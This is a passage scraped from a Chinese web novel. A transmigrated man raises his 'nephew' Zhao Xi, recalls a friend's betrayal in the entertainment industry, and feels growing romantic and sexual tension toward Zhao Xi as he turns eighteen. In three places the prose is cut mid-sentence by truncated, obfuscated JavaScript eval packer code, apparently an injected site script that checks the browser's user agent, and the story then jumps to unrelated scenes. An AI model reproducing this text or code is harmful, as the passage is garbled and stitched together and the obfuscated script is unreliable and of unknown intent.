赵熙不敢想,如果这样龌龊且大逆不道的心思要是让小叔叔发现了会怎么样。 他的手指轻柔地穿插过姜洄的头发,比以往更多了几分小心翼翼。 湿润的发丝抚过他的指节,留下一片凉意。 抓着掌心中柔顺的几缕头发,赵熙忽然有些恍惚。 他同往常每一个帮忙吹头发的寻常时候一样,喃喃着对姜洄道。 “小叔叔,你的头发又长了。” …… 这一晚,或许是这几天都没有一起睡过的缘故,赵熙躺得离他有些远。 姜洄一翻身,身侧空荡荡的,心中有些焦躁。 这和一个人睡有什么分别? 但他某些时候是个闷葫芦,心里有什么也不愿意明说,所以仍然只是安静地躺着。 直到第二天早上醒来,不知道谁先滚向谁的,总之赵熙手搭在他腰上,姜洄脑袋枕在他胳膊上。 两个人都沉默了。 后面几天都是这样,赵熙所幸也就放弃了无畏的抵抗,回到了他们原本的相处模样,该怎么睡就怎么睡。 半个月后陈氏集团被赵氏集团成功收购。 而陈家家主因为涉嫌商业犯罪被判处十年有期徒刑,据说是他女儿亲手揭秘,被抓进警局的第一天他就当场气晕过去,进了icu。 陈家夫人则因为对人使用非法药物,也被逮捕了进去,虽然只判了几年,但也没好到哪里去。 在被收购之前,陈小姐就已经是集团的总裁了,但姜洄收购集团后便将她撸了下去,分派到了另一家旗下公司。 赵熙得知时对此有些不解:“如果留她继续呆在这个位置,似乎也不影响什么。” 姜洄告诉过他,陈小姐是个很有能力手段的人,这样不明不白撸人,似乎反而容易让她寒了心。 姜洄闻言,喝牛奶的动作一顿:“实际上,在我没有撤回诉讼,仍然要将她母亲送进牢狱的时候,她就已经对我寒心了。” “有能力不代表没有私心,原本她有机会当CEO,现在没有了,你猜她会不会不甘心?” 赵熙道:“可是……以她的才干,呆在小公司是不是有些大材小用。” 姜洄盯了他片刻,放下手中的杯子。 “你的意思是,让我继续将她留在这个位置,然后或许不知道哪一天,突然背刺我是吗?” 赵熙微微蹙眉,忙道:“没有,我没有这么想。” 而且陈小姐貌似也不一定会背刺……这点他没有再说出来,因为姜洄的情绪好像有些不对劲。 在小叔叔面前,一切都是小事,赵熙不愿意因为这个和他发生争执。 姜洄嗤笑:“你是不是觉得我很自私?因为一点无妄的猜测就这样疑神疑鬼,连一个自证的机会也不给别人?” 赵熙连忙摇头。“没有。” 姜洄看了他片刻,似乎想从他脸上找出几分意料之中的不情愿,不过没有找到。 他莫名有些烦躁,却还是压着脾气道:“你不用哄着我,我确实很自私。” 赵熙张了张口,不明白他为什么突然这么说。 姜洄淡淡道:“我不愿意将任何不确定因素都不能放在身边,哪怕只有那么微乎其微的可能性。一旦它某天突然爆炸了,带来的损失也是巨大的。” 赵熙:“……我明白了。” 姜洄看着他乖顺的眉眼,深吸了一口气。 其实他并不太愿意看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只是这次抱着几分微妙的小心思,没说是小叔叔,而是给一个朋友的生日礼物。 余书和韩子晨再次对视一眼。 韩子晨震惊的探过脑袋:“哪个朋友,我怎么不知道?你真的动春心了?” 赵熙:“能不能别老是干什么都想到恋爱这回事?而且上次真的是朋友问的。” 韩子晨焉巴了:“……哦。” 赵熙话音一转:“但也可以这么说……” 韩子晨:“?” 几个兄弟立刻大叫,韩子晨上来就抓住他肩膀,夸张道:“什么时候的事!是谁!老实交代!你不是说不谈恋爱吗?!” 赵熙一巴掌把他的爪子拍下去,嫌弃道:“干什么动手动脚,你手洗没洗就碰我?” 韩子晨:“哎呀知道你洁癖,这不没吃两口吗?又没脏东西,快说快说,我不抓你行了吧?” 赵熙道:“又不打算谈恋爱,只是送个生日礼物。” “至于是谁……”他耸耸肩,“这不能说。” 韩子晨大笑:“好啊你,还跟我们玩起保密这一套了。” 赵熙云淡风轻地转移话题:“所以有什么好建议吗?” 韩子晨:“送喜欢的人生日礼物是吧?这样,你听我说,送香水!肯定没错,又高调又暧昧,充满小心机,让你的身上洒满我的味道~” 赵熙听着,竟然真有几分心动。 小叔叔喜欢他身上的味道,正好可以定制一款差不多的香水送出去…… 只是……这会不会让小叔叔误会什么? 24. 朋友 他正思索,那边余书又凑过来,直接将韩子晨挤开了,满眼八卦:“你别听他瞎说,香水多无聊啊,是人都爱钱,现在的人啊就喜欢实在的,你当天包个大红包,绝对没问题!” 赵熙无语道:“……他……家境挺好的,应该不差钱。” 不止不差钱,赵熙的零花还都是他给的呢。 不过,小叔叔好像是挺爱财的,赵熙犹疑地想。 但是送红包是不是太直接了点?还有种班门弄斧的荒诞。 余书沉思:“有钱啊……那就要因材施教了。你先说说她喜欢什么?” 赵熙:“……音乐?” 余书:“那你唱首情歌给她听啊!你不是会唱歌吗?” 赵熙含糊道:“……之前给我小叔叔唱过,不好再送给他当礼物。而且,感觉只是唱歌有点不合适。” 余书很自然地把他话里的意思翻译成了“唱给别人过所以不能再唱给喜欢的人听”,思索两秒: “这有什么不合适的?你给你小叔叔唱的歌那是哄长辈开心,难不成你当时唱的也是情歌?” 赵熙刚要张嘴说当然不是,他当时都没有这些乱七八糟的心思。 但话到嘴边,脑海里突然冒出了一句歌词。 —亲爱的,人间爱情就像一朵花。 爱情。 ……爱情? 对啊,当时他觉得这句歌词烫嘴,但又实在喜欢这首歌的旋律,思来想去,唱的时候把这句歌词删改过,改成了后半段的那句“浪漫就像一朵花”。 可是。 ——可是,这首歌本质上,其实也是一首情歌。 回想起这点,赵熙的耳朵腾一下红了。 余书震惊:“不是吧?你真给你小叔叔唱情歌啊?” 赵熙脸皮燥热,喃喃:“我当时唱的时候没那个意思……还把歌词改了。” 余书:“……好吧,那除了音乐呢?她还喜欢什么?” 赵熙努力让自己转移注意力,闻言诚恳道:“就是除了这个好像没有什么特别喜欢的东西,喜欢动物算吗?” 姜洄的微信头像是一只网红猫咪,听说是长毛银渐层,很可爱,几年都没变过,他看娱乐视频的时候,十个里有九个是萌宠,剩下一个是财政新闻。 余书:“要不送个猫咪幼崽?” 赵熙摇头:“不行。” 他问过小叔叔,既然这么喜欢猫,为什么不养一只。 姜洄只是笑了下,摇头说:“毕竟是一条生命,我这么忙,你也要上学,谁能照顾它?带回家让它天天留守吗?” 没有人比他更懂得孤独是什么滋味。 何况,他终究是要回去的,也负担不起一个生命的责任。 韩子晨听到这里,便又把余书赶到一边:“去去去,你懂什么,还得我情场老手来——香水不行是吧?好像大户人家的女孩是看不上这种东西,那就反其道而行之咯,送件充满爱意、独一无二的礼物。” 他眼珠子一转,笑眯眯道:“织围巾会吗?” …… 生日当天,赵熙果然送了一条围巾给姜洄。 从这条围巾略显粗糙的图案和毛躁的勾线来看……应该是个不太成熟的初学者做出来的。 姜洄收到礼物,从盒子里拿出来,意识到这点,先瞥了赵熙一眼。 这段时间老是借口“学习”到很晚才回到房间的赵熙,此时正眼也不眨地看着他,似乎很紧张于他的反应。 姜洄手指抚过那只皮卡丘的图案,有些嫌弃:“好丑。” 赵熙:“……” 他咳了一声:“就,就是看天气冷,随便买的,好像质量不太好,小叔叔不喜欢的话我让商家换一条吧。” 他耳朵红了,声音也有些低沉,表情是掩不住的郁闷。 姜洄挑眉:“是吗?我本来还想说,要是你亲手做的,我可以勉为其难地收下来。” 赵熙:“……小叔叔又逗我。” 姜洄收敛了表情,将围巾搭上脖子,佩戴是否合适:“没逗你。虽然很丑,但是……” “至少没有线头什么的,勉强能带。” 他感受着手指下面毛绒绒的触感,唇边也多了几分笑:“还挺暖和。” 赵熙紧绷的表情终于放松下来。 “你喜欢就好。” 也难为赵熙每年这样费尽心思地挑东西给他送礼物了,虽然姜洄比起这些虚无飘渺的温暖,其实更喜欢金银财宝一类的俗物。 但看着小孩眼巴巴的样子,他也不好拒绝,好歹是一片心意,就收下吧。 姜洄是真的有点嫌弃它,从手艺上来看,它不是最好看的,从针线上来看它不是最完美的,面料倒是名贵柔软的料子做的,因此还算得上温暖。 他洗了一次,左看右看都不觉得这是适合戴出去待人接物的围巾,便干脆压箱底了。 赵熙后面两天状似无意地问起来,他也相当镇定,嘴上冷静地糊弄人:“你送的,当然要收起来的,重要场合再戴。” 赵熙便不问了,神色隐约间还有些高兴。 他转头就回复了几个嗷嗷待哺等着吃八卦的消息:挺管用的,他很喜欢。改天请你们吃饭。 【韩汉三:管用就好,我就说嘛,没有人抵挡得住温暖攻势!】 【余:……等下,他???】 …… 又过半个月,即将到赵熙的十八岁生日。 以往他的生日都是在家吃顿丰盛的饭菜,再加一个蛋糕就差不多完事。 赵熙并不乐衷于过多热闹的生日,有自己在意的人在身边就好,姜洄没提要给他大办,他也从没要求过。 但今年他毕竟要十八岁了,过了今年,高考之后,他就要进公司了。 十八岁的成人礼,或许也是因为这大概是他们最后一次一起过生日,哪怕赵熙表示不在意那些虚礼,姜洄也想给他办得隆重一些。 于是提前半个月,他便找人约好了生日宴的场地,做好了会所当晚的布置设计,准备了所有要请的世家豪门名单去赶制请柬。 除此之外,还有生日礼物。 他早就想好了,江城的房产三套、外省的三套,还有赵氏集团20%的股份转让协议书,是他所持有总股份的三分之一。 为什么不全部给出去,一是赵熙还要高考,二是对方还没有进公司。 剩下的股份,姜洄打算等他彻底熟练了公司事务再交给对方。 到那时,就是他离开的时候了。 以赵熙的天赋,那一天应该不会太远。 想到这个,姜洄心中有些闷闷的。 下班路过一家首饰店,他突兀地开口道:“王叔,停车。” 十一月底,天气已经很冷了,姜洄下了车,双手塞在大衣口袋里,嘴里呼吸间呵出冷气,忽然有些后悔没把赵熙送的围巾带出来。 但他惯会装腔作势,哪怕冷得想缩脖子,在外顾忌着CEO的形象,也会保持稳重自持的模样。 他踏进首饰店,柜员面带笑容地说:“欢迎光临,先生,想看点什么?” 姜洄道:“……随便看看。” 他总觉得那些权财的礼物有些太空了,想再补一件。 但再补点什么,他还没想好。 或许是记忆里,不管自己的那个世界还是这个世界,他所见过的每一户权贵人家,成年礼时都会得到一些本家送出的首饰礼物,姜洄参加了那么多次,每次看着明明也没有很想要,但轮到赵熙成年礼,他却有些想给赵熙买了。 或许这就是吾家有崽初长成的感觉吧。 柜员看出他气质不俗,小心翼翼带着他看了许多件首饰,姜洄都不太满意。 柜员道:“这些已经是我们店里流行的最新款了。不然这样,你再看看这几款……” 姜洄听着,目光漫不经心地扫过她指向的柜台,顿住了。 柜员还在认真解说:“这几款是我们店里上的最新款首饰,刚刚发布销售,设计灵感都非常奇特,偏小众一些,或许有您喜欢的……” 姜洄目光定在其中一条项链上。 柜员非常有眼色地停住了话头,将盒子拿出来摆在他面前:“这是国际设计大师mini的最新作品,据说灵感来源于伊甸园夏娃与亚当的故事,它被命名为撒旦之眼……” 姜洄目不转睛地看着,没有说话。 眼前的项链的所有部分都由蛇身构成,它首尾相衔,通体黑色,蛇头在吊坠部分,蛇眼位置镶嵌了两颗幽绿的宝石,在阳光下闪烁着阴冷细碎的光。 姜洄伸手轻轻抚摸了一下,蛇身光滑细腻,背部有斑驳的鳞片,做得相当逼真。 鬼使神差的,在柜员滔滔不绝的介绍声里,他轻声打断,道:“替我包起来吧。” 不知为什么,这条项链很合他的眼缘。 他喜欢的东西,赵熙一般也会很喜欢。 ……不喜欢就自己留着吧。 一切准备好,成人礼前一天,恰好是周六,赵熙拿到了宴会当天要穿的定制礼服,试穿合不合身。 他下楼时,姜洄抬头看去,不由晃了下神。 面前的少年已经彻底长开了,不再是记忆中那个小小一团,腼腆沉默的黑崽。 原先他的皮肤是有些黑的,但和姜洄一样,越长大越显白,现在站出去,已经没人会相信他曾有个小名叫煤炭了。 赵熙面容俊朗,五官俊美,比姜洄还高得多,他眼角线条微微回收,比姜洄原本的那双桃花眼更多了几分锋锐之感。 此时他穿着一身高定合身的黑色西装,这身衣服的胸口处,有一块圆形胸针,上头刻着一头信步丛林的黑狼,露出森森獠牙。 因为没有因为三餐不规律而落下一堆身体上的毛病,赵熙面色红润健康,甚至因为常年运动而身材良好,宽肩窄腰,配上这身衣服,气质矜贵自然。 要是和姜洄本相站在一起,除了一张脸,他们几乎没有相像的地方。 见他沉默,赵熙有些不自在地扯了扯胸前的领带:“……不合适吗?” 姜洄:“没有,很好看。” 赵熙紧绷的身体便松懈下来,眸子微亮:“小叔叔也试试吧?你的衣服不是也到了吗?” 姜洄道:“明天是你的成人礼,我试什么衣服?” 赵熙一本正经:“小叔叔你是宴会上除了我以外最重要的人物,怎么不用试了?” 姜洄挑挑眉,放下手机:“行吧。” 这也算是……重回十八岁,参加自己的成人礼了。 他换完衣服出来,整理着领带,站到镜子面前。 做工精致的白西装衬得他长腿笔直,更显腰窄。 姜洄心中莫名也升起了几分兴味:“怎么样?” 赵熙站在他身后,眼神从他的腿一路向上,最后落在他肩上。 姜洄微微侧身:“怎么不说话?” 赵熙伸手,搭上他的肩膀,帮他抚平了那里的褶皱。 他轻声道:“好看,就是……” 姜洄:“嗯?” 赵熙犹豫了一下:“是不是有些长了?” 姜洄整理袖扣的动作一顿。 似乎确实有点,但也就那么一点,并不明显。 他对外一直是对标原主的身高和三围,原主要比他高那么两厘米,而且身材更壮实一些。 他穿来的时候是冬天,乍然换了人,但裹得严严实实,也没人看得出不对。 所以……赵熙是怎么看出来的? 姜洄有些古怪地瞥了他一眼:“……或许是制作的时候疏忽了,没事,并不妨碍什么。” 赵熙抬眼,定定地看了他两秒:“……嗯。” 也只能这样了,毕竟明天就是成人礼,总不能现在送回去重做。 姜洄进换衣间将衣服换回来,见他还在房间里书桌前坐着,听见脚步,赵熙转头,手上拿着宴会的邀请名单:“小叔叔,我看邀请名单上都是一些商业合作的伙伴……你的朋友不请两个过来吗?” 姜洄默了默:“这几年专心公司的事情,几个朋友也早就不联系了,不用请。” 实际上是原主和那几个朋友相处最多,要是请过来,还真怕露了馅。 这孩子怎么老提一些让人郁闷的话题? 好在得到了他的答案,赵熙也不再坚持,只是道:“小叔叔也不要太忙了,多交几个朋友可以放松心情。” 他总觉得小叔叔有些太孤单了,有时看着他单薄的身影,仿佛一阵风吹过他便会飘走,无声无息地消失在某个瞬间。 如今才恍然,原来是因为他和这个人世除了赵熙以外,似乎都没什么联系,仿若无根浮萍。 亲人都离世了,没有喜欢的人,可是朋友呢? 一个人怎么会不想要交朋友?又怎么会没有朋友? 难道除了工作以外,就没有别的事可做了吗? 姜洄似笑非笑:“你这是在教我做事?” 赵熙没有否认,也笑着回:“是担心小叔叔太累了。” 姜洄扶了扶眼镜,刚要张口,口袋里的电话叮铃铃地响起来。 是陈助理。 姜洄最近很少去公司,明天是赵熙的成人礼,陈助理按理说不会因为一些小事打电话打扰他。 他将口中无关紧要的话咽了回去,随手接起电话。 “喂。” “老板。”陈助理斟酌道,“有位男士找到公司,说想见一见小少爷。” 他也算是看着赵熙长大的,从一开始称呼姜洄“二少”到后来心悦诚服的“老板”。他口中小少爷指的就是赵熙。 姜洄挑眉:“谁?” 陈助理语气更怪了:“……他说他姓林,是……小少爷母亲的哥哥。” 姜洄:“……” 他脸色微微变了:“……有说是什么事吗?” 陈助理:“问过了,说是,好歹曾有些母子情分,想替妹妹去看一看小少爷的成人礼……” 陈助理是少数知道赵熙被领养前有过其他家庭的人之一。 赵家的成人礼办的声势浩大,连圈外人都有所耳闻,江城所有应邀的权贵豪门都是有头有脸的人物,但这其中并没有赵熙……也是姜洄亲生母亲的家族,林家。 这么多年,林家对赵熙不闻不问——哪怕是在姜洄的世界也一样,姜洄也从未刻意去关注过这个家族。 这个所谓的他母亲的“哥哥”,怎么会突然在赵熙成人礼的前一天出现? 还说什么——想看看他的成人礼。 如果真的念着他,这些年又干什么去了?甚至连私人联系方式都没有,只能去公司找姜洄的助理提这种私事。 见他表情不对,赵熙起身,压低声问:“小叔叔,怎么了?” 姜洄抬手拦住他,冷着脸转身出了门,确认赵熙听不见了,才对电话那头道:“跟他说除非我……赵熙母亲亲自来,不然不见。” 当晚姜洄有些失眠,难得辗转到近十二点才勉强睡着。 或许是因为陈助理的这通电话,又或许是因为赵熙忽然提起了“朋友”这个问题……姜洄久违地又梦到了过去。 他曾经也是有过朋友的,在那个大染缸一样的娱乐圈,他们都是从底层一步步爬上来的小演员。 对方叫沈云落,一个背井离乡、独自来到这座城市打拼、毫无背景的小青年,和他同龄,初中都没读完就出来了,说是成绩不好读不下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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公司着急忙慌地开始调查从哪里泄露的消息,然后发现幕后散播这些的,是姜洄的对家,对方会这样对付姜洄不奇怪,奇怪的是他从哪里得知的消息。 姜洄的经纪公司虽然不是个东西,但姜洄已经是公司的摇钱树,也没必要这样毁掉自家人的前途。 而且他频繁出入老总的车这件事,是因为那位公司老总是个同,最喜欢玩弄圈里年轻的小男生。 姜洄一直是明确拒绝的态度,奈何被对方耍无赖一般当众开车拦了好几次,姜洄不能不给他面子,所以只能上车。 本来清清白白的事情,配上几句话传出去,立刻就显得好像真的有什么了。 好在对方虽然喜欢玩弄男人,却只喜欢玩弄心甘情愿的,尽管他总是时不时借着各种机会对姜洄上下其手,但因为姜洄严防死守的态度,他倒是一直没有得逞过。 但公司不知道消息是从哪里泄露的,姜洄知道。 这些事情,他只告诉过沈云落一个人。 为什么呢? 姜洄原本还有些犹疑,觉得会不会是自己错怪了对方,但堵了沈云落两天,才终于找到了刻意避着他的沈云落,那一刻,看着对方躲闪的眼神,他什么都明白了。 他唇瓣抖了许久,才揪着沈云落的衣领问出来了一句:“为什么呢?” “你明知道我没有做过。” 这些家事,他只告诉过沈云落,因为他以为,沈云落是可以信任的朋友,伙伴。 但他原来错了。 沈云落带着口罩,盯了他片刻,冷笑说:“你真的想知道吗?” 姜洄固执地看着他,要一个答案。 沈云落便说:“我们一起进的圈子,凭什么你五年能爆火,而我就只能一直跑龙套,就因为你这张脸比我好看吗?明明我和你在同一家公司,可是所有资源都紧着你,而我什么都没有,凭什么?” 姜洄于是明白了。 他努力克制着泪意,声音却在发抖:“你想要资源,你可以告诉我,我可以跟经纪人商量,请他帮忙转达,我的资源也可以分给你,我们是最好的朋友……” “谁跟你是最好的朋友?”沈云落嗤笑,不耐烦地打断了他,“你有那么好的资源,说不是爬了老总的床谁信啊?你明明可以主动帮我,但你一次也没有提过,你心里就是不想帮忙而已。” “你知道吗,你有时候真的很能装傻,怪不得从来没有人跟你做朋友。” 姜洄耳朵里嗡嗡的,隐约又耳鸣了。 “你也不用觉得我对不起你,我只是卖了点你的消息,这些东西对方找别人也知道,我不卖别人也能卖。” 他说到这里,扯了扯嘴角,讽刺道:“大明星,你如今身价真是水涨船高了,一条消息卖了一百万呢。我听说,你对家公司还去找了林家,也就是你亲生母亲那边要了一份指控你亲爹强/奸的报警录音,他们也给了。” 姜洄很久才回过神,艰涩地问:“他们什么时候找的你?” “……三天前。” 三天前,是姜洄要去领奖现场的前一天。 沈云落明知道他被提名了,他就要去领奖了……可是他还是将这个消息,在前一天以一百万的价格卖了出去。 他把他们的友情,卖了一百万。 他们的友情,只价值一百万。 为了这一百万,自己唯一的朋友,联合他这么多年心心念念的母亲一起,捅了他最沉痛的一刀。 姜洄放开了手,退了两步。 他张了张嘴,想解释点什么,最后也只将眼泪咽了回去,点点头,面容平静地说出了一句:“你不后悔就行。” 其实他的资源都是钱换的,前三年他不要工资,只要资源,这是他一早就和公司提过的条件,否则他这样一个毫无背景的新人进圈子,许多年都未必能出头。 加上他这张脸出众,老总才答应了他的条件,也因此他被老总看到,被对方职场骚扰了近五年之久。 其实爆火的那几个本子都是他有点名气以后主动去争取的,试镜过导演才点的头,并不是公司给他的资源。 其实他的成名不是因为他命有多好资源有多丰富,而是他没日没夜在片场拍戏,用那点微薄的积蓄学着圈里的前辈们到处打点关系,每次年终奖一到手就又花光了,他前几年穷得连好一点的手机都换不起,一直用那个破二手。 其实姜洄也想要主动给他资源过。 但是当时沈云落恰好对他说了那段话,说他只是来娱乐圈试试,大不了就回家。加上他自尊心一直很强,姜洄怕主动给了这些他会想太多有压力,并且他自己顶着公司的压榨和高利贷其实也很吃力,要提起这个就必须给出更多的条件才能换,但他已经负担不起了,也就没再提过。 其实…… 其实还有很多其实,沈云落以为的,都不是他以为的。 但姜洄不想说了。 他向来沉默寡言,不爱争辩是非,这些话他心里知道答案,知道是错的,但他已经不愿辩解了。 原来真的有些人,只能共苦,不能同甘。 他明白,不管原因如何,他们的这段友情只能走到这里了,多说也没有任何意义。 姜洄又变回了那个形单影只的姜洄,他没有再找过沈云落,和对方悄无声息断了联系,几年后,辗转从一位圈内人那里得知,沈云落回了老家,当了一名酒吧调酒师,彻底离开了娱乐圈。 而姜洄,他废了很大的力气,又同自己的娱乐公司签订了一项霸王条款——未来二十年内都必须为这家公司工作,才拜托老总出面帮忙,一起解释清楚了这起丑闻的来龙去脉。 因为姜洄的家暴父亲,他还赚了一波粉丝的同情。 可伤痕已经留下了,他唯一的朋友也已经离开,再也回不到过去。 姜洄不再信任朋友这个词,也不再去试图寻找所谓的朋友了。 这个世界上,任何人都可能背叛你,只有钱和自己不会。 25. 按摩 从这个梦醒来的时候,姜洄枕头有那么一点湿润。 他侧着身看着窗外的月色很久,寒凉的风刮过窗框,再顺着半开的窗户刮进来,吹凉了枕芯。 姜洄蜷缩下身子,在熟悉的胃痛卷席而来时,眼前变得有些模糊。 他额头冷汗密密麻麻地冒出来,太阳穴的位置隐隐作痛,连四肢也僵硬到动弹不得,仿佛一瞬间变得不属于他。 他大口大口喘着粗气,试图从冰冷的空气中获取一些能延续他生命的氧气。 直到身后一只手落在他腰间,顺着他捂着肚子的手轻轻按在他腹部,将他从灰暗褪色的回忆拉回了现实,姜洄身体一僵,耳边嗡嗡的耳鸣才逐渐消失。 他终于由远及近听见了赵熙的呼喊声:“小叔叔……小叔叔。” 也因此,僵硬的身体也缓缓放松了下去。 是赵熙。 不是别人。也不可能是别人。 现在已经没有人能随意触碰他了,暴力和猥亵都不可能。 赵熙醒过来不久,也不知道喊了他多久姜洄才听见他的声音。 发现姜洄回神,他道:“你脸色很差,做噩梦了吗?” 姜洄没有回话。 他微微张着口喘气,有些失神。 赵熙的手还搭在他腹部,见状,试探性地帮姜洄轻轻圈点揉弄了几下,见他皱眉又松开,担忧道:“又胃痛了吗?” “晚上不是吃过晚饭?很难受吗?我去做碗瘦肉粥……” 姜洄拉住他的手腕,制止了他下床的动作。 赵熙一滞,回头看他。 姜洄微微蹙眉,脸色还是苍白的:“不是胃病……只是做噩梦了肚子有些难受。” 他缓了片刻,舔了舔唇,声音低了一些:“不用去,帮我揉一揉就好了。” 赵熙微愣:“……好。” 他们都没再说话,姜洄面朝他的方向侧身,仍然蜷缩着闭着眼,神情却放松了许多。 赵熙下手很轻,力道温和恰到好处,揉了片刻,轻声问:“有好点吗?” 姜洄抿了抿唇:“……一般。” 赵熙想了想:“我前段时间学了几个穴位,说是按摩那几个地方的话,可以缓解胃痛……” 看他眼神询问自己的意见,姜洄无所谓地点头:“……按吧。” 赵熙咳了一声:“好。” 他掀开被子。 姜洄茫然:“掀被子干什么?” 搞得跟要干什么不正经勾当一样。 赵熙也有点不好意思,耳朵红红的:“……那几个穴位,大部分都在腿上。” 姜洄:“哦。” 他又仰躺了回去,“就不能盖着被子按?” 赵熙道:“也不是不行。” 就是位置会比较难摸索,毕竟看不到。 不过看姜洄带着些疲惫的表情,赵熙没把这话说出来。 他低头,轻声道:“……这是中脘穴。” 他的手应声落在了姜洄的上腹部、胸骨下端到肚脐连线的中点,手掌按照顺时针方向,略显生涩地轻轻按揉。 姜洄穿着睡衣,赵熙的手隔着一层厚实的布料,按的位置也有些偏移。 片刻后,姜洄犹疑道:“好像没什么作用?” 赵熙顿了顿:“那我换个位置。” “梁丘穴。” 赵熙握住他的腿,将他的膝盖伸展开,按住了肌肉凸出的那块凹窝。学着看来的视频那样,用大拇指轻轻向大腿方向按压。 姜洄底下穿的也是长裤,略微往上撩起了几分。 露出的那片白皙小腿被赵熙另一只手微微用力抓住,掌心温热的触感顺着脚裸往上蔓延,膝盖处规律的按揉让姜洄有些心痒。 好像有人拿了根羽毛在他心头搔痒一般,姜洄喉结吞咽了一下。 盖着被子,看不到画面,房间里灯影憧憧,这感觉就显得更朦胧了些。 但似乎胃痛确实是缓解了不少。 他莫名像将腿从对方掌心里收回来,忍住了心头蠢蠢欲动到底念头,道:“……没有别的了?” 赵熙以为还是按得不起效果,想了两秒,声音又低了些:“……推胃经。” 他手上的动作微妙地停顿了几秒,迟疑着往上,手心停在姜洄大腿根部。 才推了两下,姜洄忽然伸手按住他的手背:“可以了。” 他声音有点不动声色的哑,身体也是僵住的。 赵熙:“……不疼了吗?” 姜洄囫囵“嗯”了一声:“……不用按了。” 赵熙意识到什么,略显局促地将手收了回来。 姜洄咳了一声:“好多了,你先睡吧,明天有宴会呢……我去上个厕所。” 他进了厕所的门,手撑在洗漱台上,看着镜子里的脸,闭了闭眼。 他是不是禁/欲太久了,按个摩都能有反应…… 在小辈面前这样……真是太考验人的心态了。 不过现在是凌晨…… 所以,这么一想,赵熙已经成年了。 还好,不至于让他觉得有太重的负罪感。 姜洄思考,他也该对赵熙转换一下视角了,他一直把赵熙视为“另一个自己”来养,可是从今天开始他也是个血气方刚的成年人了,不再是以前那个乳臭未干的小毛孩……还和姜洄每天晚上睡一张床,似乎有些不太好。 姜洄很久才从卫生间回来。 他带着一身凉意钻回被窝,赵熙还没睡,下意识靠过来了一些,很自然地抓住了姜洄的手,一根根地搓着他的手指头,开始帮他暖手。 姜洄身体僵硬了两秒,心里有些复杂。 他是没发现自己刚刚的反应吗? ……没发现就没发现了,要不然平白尴尬。 他没好立刻把手抽回来,那样会显得太过欲盖弥彰:“几点了?” 赵熙回的很快:“三点了。” 姜洄默了默:“……生日快乐。” 这一声生日快乐,让他的思绪一下回到了八年前的那个晚上。 刚刚来到赵家的小孩坐在桌边,眉眼透着小心翼翼地问他:“这是给我的蛋糕吗?” 一眨眼,他也已经长这么大了。 他亲手将自己好好养大了一回。 这声生日快乐,给赵熙,也是给他自己。 赵熙笑弯了眼:“谢谢小叔叔。” “礼物明天给你。” “好。”赵熙思考了两秒,道,“小叔叔今晚睡得不太好,要不要我给你唱首歌?” 这些年姜洄做噩梦的次数不多,但每次半夜醒来,带着耳机听着歌睡着,小叔叔都会睡得很好。 他把这个习惯记在了心里。 “……不用。” 把他当小孩子哄呢? 虽然他喜欢听歌入睡,那也是听耳机里的歌,赵熙专门唱给他听像什么样? 也不知道谁才是真的长辈。 姜洄这时才不动声色地收回手,侧过身去:“睡吧。” 赵熙手心里一下空落了起来。 看着姜洄单薄的背影和起伏的侧身曲线,他放在被子里的手无意识捻了捻,仿佛还能感觉到刚刚触碰他小腿时那温热的触感。 “……嗯。” 他对着姜洄的背影,无声地动了动唇。 晚安,小叔叔。 …… 赵熙十八岁当天,在赶去会所、开始宴会之前,他收到了第一份礼物,来自他的小叔叔。 六套房产证书,一份股权转让协议书。 还有…… 姜洄的目光落在第三个盒子上,他喉结动了动,故作淡定地将其推过去:“买的一条首饰,还算合眼缘。” 对比起前两样礼物,这个就显得有些寒碜了,虽然这条项链的价值也并不算低。 赵熙打开,先看见了那双幽绿色的蛇眼。 姜洄注意着他的表情,咳了一声:“随便买的,不怎么值钱,要是不喜欢……” 要是不喜欢就还给我吧。 话没说完,赵熙就打断了他:“喜欢。” 他抬眸,眼睛亮晶晶的:“很喜欢,谢谢小叔叔。” 他将那项链小心地拿出来,放在掌心,朝姜洄张手,笑意盈盈:“小叔叔可以给我系上吗?我想带着它去参加成人礼。” 姜洄:“……坐过来吧。” 赵熙笑意更深,起身坐到他身侧,很听话地侧身低下头。 姜洄费了一番功夫才把项链戴到他脖子上,手心细细密密出了一手的汗,他咳了一声:“……好了。” 赵熙便直起身,伸手去摸脖子上有些冰凉的链子,目光却挪到了姜洄脸上。 他喉结攒动,眼神晦暗。 姜洄被他盯得毛毛的,眼神莫名:“你喉咙痒?” 赵熙垂首,指尖轻轻摩挲着小蛇的眼睛,失笑:“……嗯,是挺痒的。” 姜洄刚要起身,目光瞥见他手腕上的那块表——竟然还是当年他送给赵熙的那块。 “这表都多少年了,怎么还戴着?” 赵熙低头看看,笑:“习惯了。” 他把表保养得很好,看着也就是款式过时了一些,并不显破旧。 姜洄便看他一眼,不再说了。 换过衣服,他们坐同一辆车前往会所。 车上,姜洄又接了个电话。 “老板,那位男士又来了,说……在会所旁边的茶亭等小少爷和您,他不去宴会也行,但有些话还是想对小少爷说。” 姜洄拧眉,口中那句“不见”还是卡在了喉咙里。 他半晌才“嗯”了一声,知道了。 身侧赵熙搭上他的手,温声细语:“怎么了?” 姜洄:“……没什么,一会儿你先进去,我有点事要去处理。” 直觉对方找过来没什么好事,他不是很想让赵熙去见人。 姜洄避开了赵熙的目光,又把手收了回来,轻斥道:“还有……别总是跟我动手动脚的,不像话。” 赵熙愣了愣,唇边的笑意回落了几分:“……哦。” 看他似乎被自己的话训斥得兴致不高,一副失落的模样,姜洄又有些心虚。 他道:“……至少在外面别老这样。” 赵熙眼底浮现几分笑意,唇角勾了下,表示自己没事:“好。” 下车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 